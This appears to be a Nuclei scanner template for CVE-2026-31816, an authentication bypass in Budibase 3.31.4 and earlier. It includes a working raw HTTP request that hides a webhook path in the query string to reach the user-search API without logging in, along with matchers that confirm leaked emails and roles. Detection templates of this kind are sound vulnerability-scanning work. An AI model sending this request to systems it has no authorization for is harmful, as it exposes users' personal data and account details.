CVE-2026-31816: Budibase - Authentication Bypass

id: CVE-2026-31816

info:
  name: Budibase - Authentication Bypass
  author: theamanrawat
  severity: critical
  description: |
    Budibase <= 3.31.4 contains an authentication bypass caused by unanchored regex in authorized() middleware matching webhook path patterns in query strings, letting unauthenticated remote attackers access any server-side API endpoint, exploit requires crafted request with webhook pattern in URL.
  impact: |
    Unauthenticated remote attackers can bypass all authentication and authorization to access any server-side API endpoint.
  remediation: |
    Update to a version later than 3.31.4 or latest available version.
  reference:
    - https://github.com/Budibase/budibase/security/advisories/GHSA-gw94-hprh-4wj8
    - https://nvd.nist.gov/vuln/detail/CVE-2026-31816
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2026-31816
    epss-score: 0.02193
    epss-percentile: 0.81898
    cwe-id: CWE-74
  metadata:
    max-request: 1
    verified: true
  tags: cve,cve2026,budibase,auth-bypass,vuln,unauthenticated,vkev

http:
  - raw:
      - |
        POST /api/ta_users/search?/webhooks/trigger HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        x-budibase-app-id: {{app_id}}

        {"query":{},"limit":1000}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "email", "roleId", "status")'
        condition: and
# digest: 4b0a00483046022100821d0641901845641560b2a3acb45215b19699dfbe5cb4f0c0a4e1ec5480fe15022100f5968f2ded081759aca5d27aa2763ad0e39f1e58e62d7086791fffcd8706eb7c:922c64590222798bb761d5b6d8e72950

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